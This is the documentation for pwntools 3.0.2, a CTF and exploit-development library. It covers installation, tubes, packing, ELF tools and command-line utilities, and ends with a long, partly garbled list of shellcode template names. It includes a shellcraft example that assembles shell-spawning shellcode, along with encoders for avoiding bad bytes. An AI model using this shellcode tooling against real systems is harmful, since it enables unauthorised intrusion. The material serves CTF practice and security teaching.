pwntools Documentation

Release 3.0.2

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pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

The primary location for this documentation is at docs.pwntools.com, which uses readthedocs. It comes in three primary flavors:

- Stable
- Beta
- Dev

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Getting Started

1.1 About pwntools

Whether you're using it to write exploits, or as part of another software project will dictate how you use it.

Historically pwntools was used as a sort of exploit-writing DSL. Simply doing from pwn import * in a previous version of pwntools would bring all sorts of nice side-effects.

When redesigning pwntools for 2.0, we noticed two contrary goals:

- We would like to have a "normal" python module structure, to allow other people to familiarize themselves with pwntools quickly.
- We would like to have even more side-effects, especially by putting the terminal in raw-mode.

To make this possible, we decided to have two different modules. pwnlib would be our nice, clean Python module, while pwn would be used during CTFs.

1.1.1 pwn — Toolbox optimized for CTFs

As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this module. It does the following:

- Imports everything from the toplevel *pwnlib* along with functions from a lot of submodules. This means that if you do import pwn or from pwn import *, you will have access to everything you need to write an exploit.
- Calls pwnlib.term.init() to put your terminal in raw mode and implements functionality to make it appear like it isn't.
- Setting the pwnlib.context.log level to "info".
- Tries to parse some of the values in sys.argv and every value it succeeds in parsing it removes.

1.1.2 pwnlib — Normal python library

This module is our "clean" python-code. As a rule, we do not think that importing pwnlib or any of the submodules should have any significant side-effects (besides e.g. caching).

For the most part, you will also only get the bits you import. You for instance not get access to pwnlib.util.packing simply by doing import pwnlib.util.

Though there are a few exceptions (such as pwnlib.shellcraft), that does not quite fit the goals of being simple and clean, but they can still be imported without implicit side-effects.

1.2 Installation

pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).

1.2.1 Prerequisites

In order to get the most out of pwntools, you should have the following system libraries installed.

Binutils

Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions of binutils to be installed. We've made this process as smooth as we can.

In these examples, replace \$ARCH with your target architecture (e.g., arm, mips64, vax, etc.).

Building binutils from source takes about 60 seconds on a modern 8-core machine.

Ubuntu

First, add our Personal Package Archive repository.

```
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
```

Then, install the binutils for your architecture.

```
$ apt-get install binutils-$ARCH-linux-gnu
```

Mac OS X

Mac OS X is just as easy, but requires building binutils from source. However, we've made homebrew recipes to make this a single command. After installing brew, grab the appropriate recipe from our binutils repo.

```
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$Al
```

Alternate OSes

If you want to build everything by hand, or don't use any of the above OSes, binutils is simple to build by hand.

```
#!/usr/bin/env bash

V=2.25  # Binutils Version
ARCH=arm # Target architecture

cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
```

```
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig
gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93
gpg --verify binutils-$V.tar.gz.sig
tar xf binutils-$V.tar.qz
mkdir binutils-build
cd binutils-build
export AR=ar
export AS=as
../binutils-$V/configure \
   --prefix=/usr/local \
   --target=$ARCH-unknown-linux-gnu \
   --disable-static \
   --disable-multilib \
   --disable-werror \
   --disable-nls
MAKE=gmake
hash gmake || MAKE=make
$MAKE -j clean all
sudo $MAKE install
```

Python Development Headers

Some of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto). In order to build these native extensions, the development headers for Python must be installed.

Ubuntu

```
$ apt-get install python-dev
```

Mac OS X

No action needed.

1.2.2 Released Version

pwntools is available as a pip package.

```
$ apt-get install python2.7 python2.7-dev python-pip
$ pip install --upgrade pwntools
```

Alternatively you can get early access to the beta release if you want to help file bugs or simple get newer features:

```
$ pip install --upgrade --pre pwntools
```

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1.2.3 Development

If you are hacking on Pwntools locally, you'll want to do something like this:

```
$ git clone https://github.com/Gallopsled/pwntools
$ cd pwntools
$ pip install -e .
```

1.3 Getting Started

To get your feet wet with pwntools, let's first go through a few examples.

When writing exploits, pwntools generally follows the "kitchen sink" approach.

```
>>> from pwn import *
```

This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.

A full list of everything that is imported is available on from pwn import *.

1.3.1 Making Connections

You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its pwnlib.tubes module.

This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via pwnlib.tubes.remote.

```
>>> conn = remote('ftp.debian.org',21)
>>> conn.recvline()
'220 ...'
>>> conn.send('USER anonymous\r\n')
>>> conn.recvuntil(' ', drop=True)
'331'
>>> conn.recvline()
'Please specify the password.\r\n'
>>> conn.close()
```

It's also easy to spin up a listener

```
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
>>> r.send('hello')
>>> c.recv()
'hello'
```

Interacting with processes is easy thanks to pwnlib.tubes.process.

```
>>> sh = process('/bin/sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
''
>>> sh.recvline(timeout=5)
'hello world\n'
>>> sh.close()
```

Not only can you interact with processes programmatically, but you can actually **interact** with processes.

```
>>> sh.interactive()
$ whoami
user
```

There's even an SSH module for when you've got to SSH into a box to perform a local/setuid exploit with pwnlib.tubes.ssh. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a process tube.

```
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
>>> shell['whoami']
'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
''
>>> sh.recvline(timeout=5)
'hello world\n'
>>> shell.close()
```

1.3.2 Packing Integers

A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in struct module.

pwntools makes this easier with pwnlib.util.packing. No more remembering unpacking codes, and littering your code with helper routines.

```
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = '37130000'.decode('hex')
>>> u32('abcd') == struct.unpack('I', 'abcd')[0]
True
```

The packing/unpacking operations are defined for many common bit-widths.

```
>>> u8('A') == 0x41
True
```

1.3.3 Setting the Target Architecture and OS

The target architecture can generally be specified as an argument to the routine that requires it.

```
>>> asm('nop')
'\x90'
>>> asm('nop', arch='arm')
'\x00\xf0 \xe3'
```

However, it can also be set once in the global context. The operating system, word size, and endianness can also be set here.

```
>>> context.arch = 'i386'
>>> context.os = 'linux'
>>> context.endian = 'little'
>>> context.word_size = 32
```

Additionally, you can use a shorthand to set all of the values at once.

```
>>> asm('nop')
'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
'\xe3 \xf0\x00'
```

1.3.4 Setting Logging Verbosity

You can control the verbosity of the standard pwntools logging via context.

For example, setting

```
>>> context.log_level = 'debug'
```

Will cause all of the data sent and received by a tube to be printed to the screen.

1.3.5 Assembly and Disassembly

Never again will you need to run some already-assembled pile of shellcode from the internet! The pwnlib.asm module is full of awesome.

```
>>> asm('mov eax, 0').encode('hex')
'b800000000'
```

But if you do, it's easy to suss out!

However, you shouldn't even need to write your own shellcode most of the time! pwntools comes with the pwnlib.shellcraft module, which is loaded with useful time-saving shellcodes.

Let's say that we want to setreuid(getuid(), getuid()) followed by dup'ing file $descriptor\ 4$ to 'stdin, stdout, and stderr, and then pop a shell!

```
>>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex')
'6a3158cd8089c36a465889d9cd806a045b6a0359496a3f58cd8075f86a68682f2f2f73682f62696e6a0b5889e331c999cd89
```

1.3.6 Misc Tools

Never write another hexdump, thanks to pwnlib.util.fiddling.

Find offsets in your buffer that cause a crash, thanks to pwnlib.cyclic.

```
>>> print cyclic(20)
aaaabaaacaaadaaaeaaa
>>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166)) at crash time
>>> print cyclic_find('faab')
120
```

1.3.7 ELF Manipulation

Stop hard-coding things! Look them up at runtime with pwnlib.elf.

```
>>> e = ELF('/bin/cat')
>>> print hex(e.address)
0x400000
>>> print hex(e.symbols['write'])
0x401680
>>> print hex(e.got['write'])
0x60b070
>>> print hex(e.plt['write'])
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(file('/tmp/quiet-cat', 'rb').read(1))
' 0: c3 ret'
```

1.4 from pwn import *

The most common way that you'll see pwntools used is

```
>>> from pwn import *
```

Which imports a bazillion things into the global namespace to make your life easier.

This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.

context

- pwnlib.context.context
- Responsible for most of the pwntools convenience settings
- Set *context.log_level* = 'debug' when troubleshooting your exploit
- Scope-aware, so you can disable logging for a subsection of code via pwnlib.context.ContextType.local

• remote, listen, ssh, process

- pwnlib.tubes
- Super convenient wrappers around all of the common functionality for CTF challenges
- Connect to anything, anywhere, and it works the way you want it to
- Helpers for common tasks like recvline, recvuntil, clean, etc.
- Interact directly with the application via .interactive()

• p32 and u32

- pwnlib.util.packing

- Useful functions to make sure you never have to remember if '>' means signed or unsigned for struct.pack, and no more ugly [0] index at the end.
- Set signed and endian in sane manners (also these can be set once on context and not bothered with again)
- Most common sizes are pre-defined (u8, u64, etc), and pwnlib.util.packing.pack() lets you define your own.

• log

- pwnlib.log
- Make your output pretty!

• cyclic and cyclic_func

- pwnlib.util.cyclic
- Utilities for generating strings such that you can find the offset of any given substring given only N (usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at 0x41414141, you could know that 0x61616171 means you control EIP at offset 64 in your buffer.

• asm and disasm

- pwnlib.asm
- Quickly turn assembly into some bytes, or vice-versa, without mucking about
- Supports any architecture for which you have a binutils installed
- Over 20 different architectures have pre-built binaries at ppa:pwntools/binutils.

shellcraft

- pwnlib.shellcraft
- Library of shellcode ready to go
- asm(shellcraft.sh()) gives you a shell
- Templating library for reusability of shellcode fragments

• ELF

- pwnlib.elf
- ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk

• DynELF

- pwnlib.dynelf
- Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address

• ROP

- pwnlib.rop
- Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses

• gdb.debug and gdb.attach

- pwnlib.gdb

- Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting breakpoints and makes iteration on exploits MUCH faster.
- Alternately, attach to a running process given a PID, pwnlib.tubes object, or even just a socket that's connected to it

• args

- Dictionary contining all-caps command-line arguments for quick access
- Run via python foo.py REMOTE=1 and args['REMOTE'] == '1'.
- Can also control logging verbosity and terminal fancyness
 - * NOTERM
 - * SILENT
 - * DEBUG

• randoms, rol, ror, xor, bits

- pwnlib.util.fiddling
- Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with 0xffffffff or calling ord and chr an ugly number of times
- net
- pwnlib.util.net
- Routines for querying about network interfaces
- proc
- pwnlib.util.proc
- Routines for querying about processes
- pause
 - It's the new getch
- safeeval
 - pwnlib.util.safeeval
 - Functions for safely evalutaing python code without nasty side-effects.

These are all pretty self explanatory, but are useful to have in the global namespace.

- hexdump
- read and write
- enhex and unhex
- more
- group
- align and align_down
- urlencode and urldecode
- which
- wget

Additionally, all of the following modules are auto-imported for you. You were going to do it anyway.

- os
- sys
- time
- requests
- re
- random

1.5 Command Line Tools

pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.

1.5.1 asm

Assemble shellcode into bytes

usage: asm [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-v AVOID] [-n] [-z] [-d] [-e ENCODER] [-i INFILE] [-r] [line [line ...]]

line

Lines to assemble. If none are supplied, use stdin

-h, --help

show this help message and exit

- -f {raw, hex, string, elf}, --format {raw, hex, string, elf}
 Output format (defaults to hex for ttys, otherwise raw)
- -o <file>, --output <file>
 Output file (defaults to stdout)
- -c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,ms]
 The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
 '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
 'little', 'big', 'el', 'le', 'be', 'eb']
- -v <avoid>, --avoid <avoid>

Encode the shellcode to avoid the listed bytes (provided as hex; default: 000a)

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-d, --debug

Debug the shellcode with GDB

- -e <encoder>, --encoder <encoder>
 Specific encoder to use

-r, --run

Run output

1.5.2 checksec

Check binary security settings

```
usage: checksec [-h] [-file [elf [elf ...]]] [elf [elf ...]]
```

elf

Files to check

-h, --help

show this help message and exit

--file <elf>

File to check (for compatibility with checksec.sh)

1.5.3 constgrep

Looking up constants from header files.

```
Example: constgrep -c freebsd -m ^PROT '3 + 4'
```

usage: constgrep [-h] [-e constant] [-i] [-m] [-c arch_or_os] [regex] [constant]

regex

The regex matching constant you want to find

constant

The constant to find

-h, --help

show this help message and exit

-e <constant>, --exact <constant>

Do an exact match for a constant instead of searching for a regex

-i, --case-insensitive

Search case insensitive

-m, --mask-mode

Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.

```
-c {16,32,64, android, cgc, freebsd, linux, windows, powerpc64, aarch64, sparc64, powerpc, mips64, msg. The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']
```

1.5.4 cyclic

Cyclic pattern creator/finder

usage: cyclic [-h] [-a alphabet] [-n length] [-c context] [-l lookup_value] [count]

count

Number of characters to print

```
-h, --help
     show this help message and exit
-a <alphabet>, --alphabet <alphabet>
     The alphabet to use in the cyclic pattern (defaults to all lower case letters)
-n <length>, --length <length>
     Size of the unique subsequences (defaults to 4).
-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,ms
     The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
     '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
     'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
     'little', 'big', 'el', 'le', 'be', 'eb']
-1 <lookup_value>, -o <lookup_value>, --offset <lookup_value>, --lookup_value>
     Do a lookup instead printing the alphabet
1.5.5 disasm
Disassemble bytes into text format
usage: disasm [-h] [-c arch_or_os] [-a address] [-color] [-no-color] [hex [hex ...]]
hex
     Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.
-h, --help
     show this help message and exit
-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
     The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
     '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
     'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
     'little', 'big', 'el', 'le', 'be', 'eb']
-a <address>, --address <address>
     Base address
--color
     Color output
--no-color
     Disable color output
1.5.6 elfdiff
usage: elfdiff [-h] a b
```

a b

-h, --help

show this help message and exit

1.5.7 elfpatch

usage: elfpatch [-h] elf offset bytes

elf

File to patch

offset

Offset to patch in virtual address (hex encoded)

bytes

Bytes to patch (hex encoded)

-h, --help

show this help message and exit

1.5.8 errno

Prints out error messages

usage: errno [-h] error

error

Error message or value

-h, --help

show this help message and exit

1.5.9 hex

Hex-encodes data provided on the command line or via stdin.

```
usage: hex [-h] [data [data ...]]
```

data

Data to convert into hex

-h, --help

show this help message and exit

1.5.10 phd

Pwnlib HexDump

usage: phd [-h] [-w WIDTH] [-l [HIGHLIGHT [HIGHLIGHT ...]]] [-s SKIP] [-c COUNT] [-o OFFSET] [-color [{always,never,auto}]] [file]

file

File to hexdump. Reads from stdin if missing.

-h, --help

show this help message and exit

-w <width>, --width <width>

Number of bytes per line.

```
-s <skip>, --skip <skip>
Skip this many initial bytes.

-c <count>, --count <count>
Only show this many bytes.

-o <offset>, --offset <offset>
Addresses in left hand column starts at this address.

--color {always, never, auto}
Colorize the output. When 'auto' output is colorized exactly when stdout is a TTY. Default is 'auto'.

1.5.11 pwnstrip

Strip binaries for CTF usage
usage: pwnstrip [-h] [-b] [-p FUNCTION] [-o OUTPUT] file

file
```

-h, --help show this help message and exit

-b, --build-id Strip build ID

-p <function>, --patch <function>
 Patch function

-o <output>, --output <output>

1.5.12 scramble

Shellcode encoder

usage: scramble [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-p] [-v AVOID] [-n] [-z] [-d]

- -h, --help show this help message and exit
- -f {raw, hex, string, elf}, --format {raw, hex, string, elf}
 Output format (defaults to hex for ttys, otherwise raw)
- -o <file>, --output <file>
 Output file (defaults to stdout)
- -c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,ms]
 The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
 '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
 'little', 'big', 'el', 'le', 'be', 'eb']
- -p, --alphanumeric

Encode the shellcode with an alphanumeric encoder

-v <avoid>, --avoid <avoid>
 Encode the shellcode to avoid the listed bytes

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-d, --debug

Debug the shellcode with GDB

1.5.13 shellcraft

Microwave shellcode – Easy, fast and delicious

usage: shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a] [-v AVOID] [-n] [-z] [-r] [-color] [-no-color] [-syscalls] [-address ADDRESS] [shellcode] [arg [arg ...]]

shellcode

The shellcode you want

arg

Argument to the chosen shellcode

-h, --help

show this help message and exit

-?, --show

Show shellcode documentation

-o <file>, --out <file>

Output file (default: stdout)

-f {r,raw,s,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,default}, --format {r,raw,s,s}
Output format (default: hex), choose from {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocessed code

-d, --debug

Debug the shellcode with GDB

-b, --before

Insert a debug trap before the code

-a, --after

Insert a debug trap after the code

-v <avoid>, --avoid <avoid>

Encode the shellcode to avoid the listed bytes

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-r, --run

Run output

--color

Color output

--no-color

Disable color output

--syscalls

List syscalls

--address <address>

Available shellcodes are: aarch64.android.accept aarch64.android.access aarch64.android.acct aarch64.android.alarm aarch64.android.bind aarch64.android.brk aarch64.android.cat aarch64.android.chdir aarch64.android.chmod aarch64.android.chroot aarch64.android.clock getres aarch64.android.clock_gettime aarch64.android.chown aarch64.android.clock nanosleep aarch64.android.clock settime aarch64.android.clone aarch64.android.close aarch64.android.connect aarch64.android.creat aarch64.android.dup aarch64.android.dup2 aarch64.android.dup3 aarch64.android.epoll create aarch64.android.epoll create1 aarch64.android.epoll ctl aarch64.android.echo aarch64.android.epoll pwait aarch64.android.epoll wait aarch64.android.execve aarch64.android.exit aarch64.android.fchdir aarch64.android.fchmod aarch64.android.faccessat aarch64.android.fallocate aarch64.android.fchmodat aarch64.android.fchown aarch64.android.fchownat aarch64.android.fcntl aarch64.android.fdatasync aarch64.android.flock aarch64.android.fork aarch64.android.forkexit aarch64.android.fstat aarch64.android.fstat64 aarch64.android.fstatat64 aarch64.android.fsync aarch64.android.ftruncate aarch64.android.ftruncate64 aarch64.android.futimesat aarch64.android.getcwd aarch64.android.getegid aarch64.android.geteuid aarch64.android.getgid aarch64.android.getgroups aarch64.android.getitimer aarch64.android.getpgrp aarch64.android.getpeername aarch64.android.getpgid aarch64.android.getpid aarch64.android.getpmsg aarch64.android.getpriority aarch64.android.getresgid aarch64.android.getppid aarch64.android.getrlimit aarch64.android.getrusage aarch64.android.getresuid aarch64.android.getsid aarch64.android.getsockname aarch64.android.getsockopt aarch64.android.gettimeofday aarch64.android.getuid aarch64.android.gtty aarch64.android.ioctl aarch64.android.ioperm aarch64.android.iopl aarch64.android.kill aarch64.android.lchown aarch64.android.link aarch64.android.linkat aarch64.android.listen aarch64.android.loader aarch64.android.loader append aarch64.android.lseek aarch64.android.lstat aarch64.android.lstat64 aarch64.android.mkdir aarch64.android.madvise aarch64.android.mincore aarch64.android.mkdirat aarch64.android.mknod aarch64.android.mknodat aarch64.android.mlock aarch64.android.mlockall aarch64.android.mmap aarch64.android.mprotect aarch64.android.mg notify aarch64.android.mg open aarch64.android.mq_timedsend aarch64.android.mq_timedreceive aarch64.android.mq_unlink aarch64.android.munlock aarch64.android.mremap aarch64.android.msync aarch64.android.munlockall aarch64.android.munmap aarch64.android.nanosleep aarch64.android.nice aarch64.android.open aarch64.android.ppenat aarch64.android.pause aarch64.android.pipe aarch64.android.pipe2 aarch64.android.poll aarch64.android.ppoll aarch64.android.prctl aarch64.android.pread aarch64.android.preadv aarch64.android.prlimit64 aarch64.android.ptrace aarch64.android.putpmsg aarch64.android.pwrite aarch64.android.profil aarch64.android.pwritev aarch64.android.read aarch64.android.readahead aarch64.android.readdir aarch64.android.readlink aarch64.android.readlinkat aarch64.android.readn aarch64.android.readv aarch64.android.recvfrom aarch64.android.recv aarch64.android.recvmmsg aarch64.android.recvmsg aarch64.android.remap file pages aarch64.android.rename aarch64.android.renameat aarch64.android.rmdir aarch64.android.sched_get_priority_max aarch64.android.sched_get_priority_min aarch64.android.sched_getaffinity aarch64.android.sched getparam aarch64.android.sched getscheduler aarch64.android.sched rr get interval aarch64.android.sched setaffinity aarch64.android.sched setparam aarch64.android.sched setscheduler aarch64.android.sched yield aarch64.android.select aarch64.android.sendfile aarch64.android.sendfile64 aarch64.android.setdomainname aarch64.android.setgid aarch64.android.setgroups aarch64.android.sethostname aarch64.android.setitimer aarch64.android.setpgid aarch64.android.setpriority aarch64.android.setregid aarch64.android.setreuid aarch64.android.setresgid aarch64.android.setresuid aarch64.android.setrlimit aarch64.android.setsid aarch64.android.setsockopt aarch64.android.setsockopt_timeout aarch64.android.settimeofday aarch64.android.setuid aarch64.android.sh aarch64.android.sigaction aarch64.android.sigaltstack aarch64.android.signal aarch64.android.sigpending aarch64.android.sigprocmask aarch64.android.sigreturn aarch64.android.socket aarch64.android.splice aarch64.android.stage aarch64.android.sigsuspend aarch64.android.stat aarch64.android.stat64 aarch64.android.stime aarch64.android.stty aarch64.android.symlink aarch64.android.syscall aarch64.android.symlinkat aarch64.android.sync aarch64.android.sync file range aarch64.android.syslog aarch64.android.tee aarch64.android.time aarch64.android.timer_create aarch64.android.timer delete aarch64.android.timer getoverrun aarch64.android.timer_gettime aarch64.android.timer settime aarch64.android.truncate aarch64.android.truncate64 aarch64.android.ulimit aarch64.android.umask aarch64.android.uname aarch64.android.unlink aarch64.android.unlinkat aarch64.android.ustat aarch64.android.unshare aarch64.android.utime aarch64.android.utimensat aarch64.android.utimes aarch64.android.vfork aarch64.android.vhangup aarch64.android.vmsplice aarch64.android.wait4 aarch64.android.waitid aarch64.android.waitpid aarch64.android.write aarch64.android.writev aarch64.linux.accept aarch64.linux.accept aarch64.linux.access aarch64.linux.acct aarch64.linux.alarm aarch64.linux.bind aarch64.linux.brk aarch64.linux.cat aarch64.linux.chdir aarch64.linux.chmod aarch64.linux.chown aarch64.linux.chroot aarch64.linux.clock getres aarch64.linux.clock gettime aarch64.linux.clock nanosleep aarch64.linux.clock settime aarch64.linux.clone aarch64.linux.close aarch64.linux.connect aarch64.linux.creat aarch64.linux.dup aarch64.linux.dup2 aarch64.linux.dup3 aarch64.linux.echo aarch64.linux.epoll create aarch64.linux.epoll create1 aarch64.linux.epoll wait aarch64.linux.epoll ctl aarch64.linux.epoll pwait aarch64.linux.faccessat aarch64.linux.fallocate aarch64.linux.execve aarch64.linux.exit aarch64.linux.fchdir aarch64.linux.fchmod aarch64.linux.fchmodat aarch64.linux.fchown aarch64.linux.fchownat aarch64.linux.fcntl aarch64.linux.fdatasync aarch64.linux.flock aarch64.linux.fork aarch64.linux.forkexit aarch64.linux.fstat aarch64.linux.fstat64 aarch64.linux.fstatat64 aarch64.linux.fstync aarch64.linux.ftruncate aarch64.linux.ftruncate64 aarch64.linux.futimesat aarch64.linux.getewid aarch64.linux.getegiid aarch64.linux.geteuid aarch64.linux.getegiid aarch64.linux.getgroups aarch64.linux.getitimer aarch64.linux.getpeername aarch64.linux.getpgid aarch64.linux.getpgrp aarch64.linux.getpid aarch64.linux.getpid aarch64.linux.getppid aarch64.linux.getpid aarch64.linux.getresgid aarch64.linux.getresuid aarch64.linux.getrlimit aarch64.linux.getrusage aarch64.linux.getsid aarch64.linux.getsockname aarch64.linux.getsockopt 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powerpc.android.ioppl powerpc.android.kill powerpc.android.lchown powerpc.android.link powerpc.android.linkat powerpc.android.listen powerpc.android.lseek powerpc.android.lstat powerpc.android.lstat64 powerpc.android.madvise powerpc.android.mincore powerpc.android.mkdir powerpc.android.mkdirat powerpc.android.mknod powpowerpc.android.mlock erpc.android.mknodat powerpc.android.mlockall powerpc.android.mmap powerpc.android.mprotect powerpc.android.mq_notify powerpc.android.mq_open powerpc.android.mq_timedreceive powerpc.android.mq_timedsend powerpc.android.mq_unlink powerpc.android.mremap powerpc.android.msync powerpc.android.munlock powerpc.android.munlockall powerpc.android.munmap powerpc.android.nanosleep powerpc.android.nice powerpc.android.open powerpc.android.openat powerpc.android.pause powerpc.android.pipe powerpc.android.pipe2 powerpc.android.poll powerpc.android.ppoll powerpc.android.pread powerpc.android.preadv powerpc.android.prlimit64 powerpc.android.profil powerpc.android.ptrace erpc.android.putpmsg powerpc.android.pwrite powerpc.android.pwritev powerpc.android.read powerpc.android.readahead powerpc.android.readdir powerpc.android.readlink powerpc.android.readlinkat powerpc.android.readv powerpc.android.recv powerpc.android.recvfrom powerpc.android.recvmmsg powerpc.android.recvmsg powerpc.android.remap file pages powerpc.android.rename powerpc.android.renameat powerpc.android.rmdir powerpc.android.sched_get_priority_max powerpc.android.sched_get_priority_min erpc.android.sched getaffinity powerpc.android.sched getparam powerpc.android.sched getscheduler powerpc.android.sched_rr_get_interval powerpc.android.sched_setaffinity powerpc.android.sched_setparam powerpc.android.sched_setscheduler powerpc.android.sched_yield powerpc.android.select powerpc.android.sendfile powerpc.android.sendfile64 powerpc.android.setdomainname powerpc.android.setgid powerpc.android.setgroups powerpc.android.sethostname powerpc.android.setitimer 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thumb.android.epoll_ctl thumb.android.epoll pwait thumb.android.epoll wait thumb.android.execve thumb.android.exit thumb.android.faccessat thumb.android.fallocate thumb.android.fchdir thumb.android.fchmod thumb.android.fchmodat thumb.android.fchown thumb.android.fchownat thumb.android.fcntl thumb.android.fdatasvnc thumb.android.findpeer thumb.android.findpeersh thumb.android.flock thumb.android.fork thumb.android.forkbomb thumb.android.forkexit thumb.android.fstat thumb.android.fstat64 thumb.android.fstatat64 thumb.android.fsvnc thumb.android.fstruncate thumb.android.ftruncate64 thumb.android.futimesat thumb.android.getcwd thumb.android.getegid thumb.android.geteuid thumb.android.getgid thumb.android.getgroups thumb.android.getitimer thumb.android.getpeername thumb.android.getpgid thumb.android.getpgrp thumb.android.getpid thumb.android.getpmsg thumb.android.getppid thumb.android.getpriority thumb.android.getresgid thumb.android.getresuid thumb.android.getrlimit thumb.android.getrusage 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thumb.android.madvise thumb.android.mincore thumb.android.mkdir thumb.android.mkdirat thumb.android.mknod thumb.android.mknodat thumb.android.mlock thumb.android.mlockall thumb.android.mmap thumb.android.mov thumb.android.mprotect thumb.android.mq notify thumb.android.mg open thumb.android.mg timedreceive thumb.android.mg timedsend thumb.android.mg unlink thumb.android.mremap thumb.android.msync thumb.android.munlock thumb.android.munlockall thumb.android.munmap thumb.android.nanosleep thumb.android.nice thumb.android.open thumb.android.openat thumb.android.pause thumb.android.pipe thumb.android.ppoll thumb.android.prctl thumb.android.pread thumb.android.pipe2 thumb.android.poll thumb.android.preadv thumb.android.prlimit64 thumb.android.profil thumb.android.ptrace thumb.android.push thumb.android.putpmsg thumb.android.pwrite thumb.android.pwritev thumb.android.read thumb.android.readahead thumb.android.readdir thumb.android.readlink thumb.android.readlinkat thumb.android.readn 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thumb.android.sigaltstack thumb.android.sigprocmask thumb.android.signal thumb.android.sigpending thumb.android.sigreturn thumb.android.sigsuspend thumb.android.splice thumb.android.stage thumb.android.stager thumb.android.stat thumb.android.stat64 thumb.android.stime thumb.android.stty thumb.android.symlink thumb.android.svnc file range thumb.android.svscall thumb.android.symlinkat thumb.android.svnc thumb.android.syslog thumb.android.tee thumb.android.time thumb.android.timer create thumb.android.timer delete thumb.android.timer getoverrun thumb.android.timer gettime 